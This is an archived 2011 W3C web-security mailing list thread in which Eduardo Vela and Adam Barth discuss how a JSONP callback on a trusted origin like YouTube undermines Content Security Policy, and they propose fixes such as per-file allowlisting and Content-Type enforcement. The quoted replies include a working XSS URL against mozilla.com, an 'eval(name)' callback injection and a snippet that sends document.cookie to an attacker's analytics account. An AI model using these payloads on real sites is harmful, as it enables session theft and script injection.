- From: Adam Barth <w3c@adambarth.com>
- Date: Mon, 30 May 2011 13:12:24 -0700
- To: "sird@rckc.at" <sird@rckc.at>
- Cc: public-web-security@w3.org, masatokinugawa@gmail.com
Ah, I understand. Sounds like YouTube isn't trustworthy. The more general problem is CSP imbues JavaScript responses with authority, which isn't how the rest of the web works. That means when sites, like YouTube, have reflections in their JavaScript, folks that trust them get in trouble. Adam On Mon, May 30, 2011 at 11:52 AM, sird@rckc.at <sird@rckc.at> wrote: > The XSS in mozilla is: > http://www.mozilla.com/search?q="><script+src="http://www.youtube.com/video/export?id=1337&callback=payload(here)"></script> > > Youtube has a service that lets you export a video details with JSONp, > and accepts "callback". And callback is sanitized to only have > ([a-zA-Z_$][a-zA-Z$_0-9]+[.])+ and parenthesis. > > Greetings!! > -- Eduardo > > > > > On Mon, May 30, 2011 at 1:49 PM, Adam Barth <w3c@adambarth.com> wrote: >> I'm sorry. I'm not sure I follow. How is the attacker able to run >> the script below? I agree that once the attacker can run script in >> the honest site's security origin, the attacker has won. >> >> Adam >> >> >> On Mon, May 30, 2011 at 11:36 AM, sird@rckc.at <sird@rckc.at> wrote: >>> It's an example :P >>> >>> but ok, let's say the attacker uses: >>> >>> var _gaq = _gaq || []; >>> _gaq.push(['_setAccount', 'UA-evil-1']); >>> _gaq.push(['_trackPageview']); >>> _gaq.push(['_trackEvent', 'cookies', 'add', document.cookie]); >>> >>> And uses google analytics to send data back to the attacker. >>> >>> Or let's say the attacker iframes youtube.com and loads a payload >>> inside a gadget in youtube. >>> >>> Or let's say the attacker does the attack directly with XHR. >>> >>> >>> -- Eduardo >>> >>> >>> >>> >>> On Mon, May 30, 2011 at 1:00 PM, Adam Barth <w3c@adambarth.com> wrote: >>>> On Mon, May 30, 2011 at 10:37 AM, Eduardo Vela <sirdarckcat@gmail.com> wrote: >>>>> Hi List. >>>>> >>>>> I think this issue has came up before (can't find the thread but I've >>>>> seen it) and Masato (cc'd) brought this up to us recently. >>>>> >>>>> What can a CSP user do in the following case: >>>>> >>>>> 1. www.mozilla.org trusts scripts from www.youtube.com because they >>>>> use one of their scripts. >>>>> 2. Attacker is able to do >>>>> www.youtube.com/video/export?id=1337&callback=eval(name) >>>> >>>> Won't that be blocked because eval is blocked? >>>> >>>> Adam >>>> >>>> >>>>> 3. Then Mozilla isn't capable of protecting using CSP. >>>>> >>>>> In general, Mozilla can't realistically know all the things we put in >>>>> www.youtube.com. If Youtube doesn't care about CSP, there's no reason >>>>> for them to fix it. And Mozilla might not be able to mirror the script >>>>> to their own servers because it might change at any moment, and their >>>>> site might break. >>>>> >>>>> Could it be possible to whitelist specific files, instead of complete >>>>> origins? Maybe even global expressions (e.g. >>>>> www.youtube.com/scripts/*.js)? >>>>> Or.. maybe Mozilla shouldn't trust Youtube at all? >>>>> What about.. Content-Type enforcement? Force scripts allowed on a CSP >>>>> document to have the right Content-Type. >>>>> >>>>> How does this apply for the use case of stats services, captcha, ads, >>>>> etc.. which all require external scripts? >>>>> >>>>> I think forcing the right Content-Type for scripts might be the best >>>>> solution, and maybe a rule to override this behavior, comments? >>>>> >>>>> Thanks!! >>>>> >>>>> -- Eduardo >>>>> >>>>> >>>> >>> >> >
Received on Monday, 30 May 2011 20:13:24 UTC